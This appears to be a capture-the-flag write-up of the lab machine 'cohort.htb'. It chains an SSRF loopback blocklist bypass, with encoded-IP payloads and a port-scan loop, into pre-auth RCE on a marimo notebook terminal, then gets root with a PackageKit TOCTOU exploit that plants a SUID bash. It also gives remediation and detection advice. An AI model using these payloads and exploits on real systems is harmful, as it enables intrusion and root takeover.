Cohort

Target

cohort.htb — "Cohort Analytics"

Host OS

Ubuntu 24.04.4 LTS · kernel 6.8.0-136

Foothold

SSRF (blocklist bypass) → CVE-2026-39987 (marimo pre-auth RCE)

Privesc

CVE-2026-41651 — PackageKit "Pack2TheRoot" TOCTOU

This one looked small from the outside and stayed small — but it is a clean lesson in trusting the wrong boundary twice. A public form let me forge requests into the box's own loopback, an internal notebook server was carrying a pre-auth shell, and the only thing standing between me and root was a single package someone had pinned back at a vulnerable version. I have written it up the way I would hand it to a client: what I did, then how I would stop it happening.

01Recon

Cohort Analytics is a small marketing site for a fictional retention-analytics consultancy. Three ports, nothing exotic:

nmap -sC -sV -T4 <target>

The TLS certificate was a wildcard for *.cohort.htb. I noted it and moved on — it reads like a lead but it is not one directly, and it took me a while to realise it was the whole game.

echo "<target> cohort.htb" | sudo tee -a /etc/hosts
curl -sk https://cohort.htb/
curl -sk https://cohort.htb/assets/app.js -o app.js
feroxbuster -u https://cohort.htb/ -k \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

Brute-forcing ~5,000 subdomain names just found nginx's own catch-all, which 301s anything unrecognised back to the main site. The one part of the site worth lingering on was a client portal at /portal.html, offering to "validate" a data-feed URL before onboarding it. Anything that takes a URL from me and goes and fetches it is worth a hard look.

02The foothold — a blocklist that knew two words

The portal's Validate source button calls POST /api/validate with a URL and a declared format. The stated safeguard was to reject anything pointing at localhost or a loopback address. In practice that was a literal string comparison against 127.0.0.1 and localhost — and a blocklist that only knows two spellings of a thing is not a blocklist at all. Every alternate way of writing loopback sailed straight through:

# the honest request, to see a normal response
curl -sk -X POST https://cohort.htb/api/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"https://example.com/","format":"csv"}'

# what the blocklist actually catches
curl -sk -X POST https://cohort.htb/api/validate -d '{"url":"http://127.0.0.1/"}'   # blocked
curl -sk -X POST https://cohort.htb/api/validate -d '{"url":"http://localhost/"}'   # blocked

# everything it does not
curl -sk -X POST https://cohort.htb/api/validate -d '{"url":"http://127.1/"}'              # short form
curl -sk -X POST https://cohort.htb/api/validate -d '{"url":"http://0177.0.0.1/"}'         # octal
curl -sk -X POST https://cohort.htb/api/validate -d '{"url":"http://2130706433/"}'         # decimal
curl -sk -X POST https://cohort.htb/api/validate -d '{"url":"http://[::ffff:127.0.0.1]/"}' # v4-mapped v6

Root cause: the backend checked the hostname against a fixed BLOCKED_HOSTS list with no DNS resolution and no normalisation, so any encoding it did not literally list was treated as "external" and fetched. There is no outbound internet from the box, so this SSRF was only ever going to matter against internal services — which is exactly what it was for.

03Pivoting inward

With a working bypass, the validator became a blind port scanner against loopback. I swept the low ports and watched for the difference between "connection refused" and an actual response:

for p in $(seq 1 10000); do
  curl -sk --max-time 3 -X POST https://cohort.htb/api/validate \
    -d "{\"url\":\"http://127.1:$p/\"}" | grep -q 'Connection refused' || echo "OPEN: $p"
done

Two things answered:

• 5000 → cohort-insights, the same backend I was already talking to. Nothing new.
• 8888 → a marimo reactive-notebook server, sitting behind a password gate.

marimo is a Python notebook, and notebook servers are a gift if you can reach them. I fingerprinted the version through the same SSRF:

curl -sk -X POST https://cohort.htb/api/validate \
  -d '{"url":"http://127.1:8888/api/version"}'
# → marimo 0.20.4

04The right CVE, the wrong transport

That version is vulnerable to CVE-2026-39987. marimo before 0.23.0 forgets to authenticate one WebSocket route: /terminal/ws never calls the auth check that every other WS route does. It only checks the running mode and platform support, then hands out a live PTY — no token, no password. On a box running 0.20.4 that is a straight pre-auth RCE.

The catch, and the actual thinking on this box: my only path to 127.0.0.1:8888 was the SSRF, and the SSRF was a blind, single-shot HTTP GET. I had no control over the method or the headers, which makes it structurally incapable of the Upgrade: websocket handshake the exploit needs. I had the right vulnerability behind the wrong door.

05The unlock — the wildcard cert mattered after all

marimo was not only bound to loopback — it was also reachable over a per-notebook dynamic hostname that nginx proxies straight through to 127.0.0.1:8888. That path is a normal front-door HTTPS vhost, so it happily carries a full WebSocket upgrade, sidestepping the SSRF's transport limits entirely. The *.cohort.htb certificate is what makes those nb-<id> hosts resolvable and trusted. Once I had the notebook id from the SSRF fingerprint, I pointed straight at it:

echo "<target> nb-<notebook-id>.cohort.htb" | sudo tee -a /etc/hosts
websocat -k wss://nb-<notebook-id>.cohort.htb/terminal/ws
$ id
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
$ cat /home/marimo/user.txt

06Privesc — everything that did not work

As marimo I ran the usual sweep — SUID/SGID, sudo, cron and timers, capabilities, polkit — and it all came up empty:

sudo -V; dpkg -l sudo needrestart
uname -v; dpkg -l 'linux-image*'
cat /etc/modprobe.d/*.conf
find / -perm -4000 -type f 2>/dev/null   # SUID
find / -perm -2000 -type f 2>/dev/null   # SGID

The kernel was deliberately hardened, with sysctl and modprobe files named after specific 2026 kernel CVEs — a trap laid to burn time. I checked each one against the exact build (6.8.0-136.136) instead of assuming, and every single one was already dead:

Seven for seven. The kernel path was never it — the point of that section was to make you waste an afternoon on it. I would rather rule a thing out in five minutes with a version check than run an exploit blind, so I moved on.

07Root — a held package

linpeas caught what the manual sweep did not: PackageKit was pinned at a vulnerable build while its own supporting library had been upgraded around it.

bash linpeas.sh > lp.out 2>&1
dpkg -l | grep packagekit
hi  packagekit               1.2.8-2ubuntu1.2   # held, vulnerable
ii  libpackagekit-glib2-18   1.2.8-2ubuntu1.5   # patched

That hi state — held, half-upgraded — is the whole bug's enabler. CVE-2026-41651, "Pack2TheRoot", is a deterministic (not racy) TOCTOU in PackageKit's InstallFiles handling. Two InstallFiles() calls in quick succession — first with SIMULATE, which skips the polkit prompt, then with the real flags — let the second call overwrite the cached transaction state before GLib's idle callback runs it. The daemon then installs whatever the second call pointed at, as root, with no authentication prompt. Because it is deterministic there is no race to win — it just works.

python3 pack2root.py --check
python3 pack2root.py --no-cleanup --exec 'id; cat /root/root.txt'
[+] SUCCESS: SUID bash at /tmp/.suid_bash
uid=1000(marimo) gid=1000(marimo) euid=0(root) groups=1000(marimo)

08If this were your environment

This is the part I care about most, because it is the part that maps to my day job. Every finding below has the fix I would write into a report, plus the hardening controls it lands under so you are not taking my word for it.

09Detection — the blue-team side

What I would want alerting on if I could not fix it tomorrow:

• SSRF: alert when the validator process opens connections to loopback / RFC1918 ranges, and log the declared host against the resolved host on every request.
• marimo: alert on any /terminal/ws connection, on marimo spawning /bin/bash or a PTY, and on outbound activity from the marimo uid.
• PackageKit: alert on two InstallFiles D-Bus calls within a short window from a non-admin uid, on new SUID files appearing in /tmp, and on packagekitd installing local files outside the normal apt flow.

10Takeaways

• A blocklist is not an allow-list. If your SSRF defence is a list of "bad" hostnames, you have already lost — validate after DNS resolution against a list of things you trust.
• Loopback is not a boundary. A wildcard cert and a catch-all proxy vhost quietly re-exposed a service that binding to 127.0.0.1 was meant to protect.
• Match the exploit to the transport you actually have. The RCE was real from the first fingerprint; the work was realising a blind GET could not carry it, and finding the path that could.
• Rule kernel CVEs out with version checks, not exploits. Seven named traps, all dead — five minutes of dpkg and sysctl beat an afternoon of running PoCs.
• Never hold a package below its own libraries. The entire root path was one pinned daemon. Patch state is attack surface.

back to writeups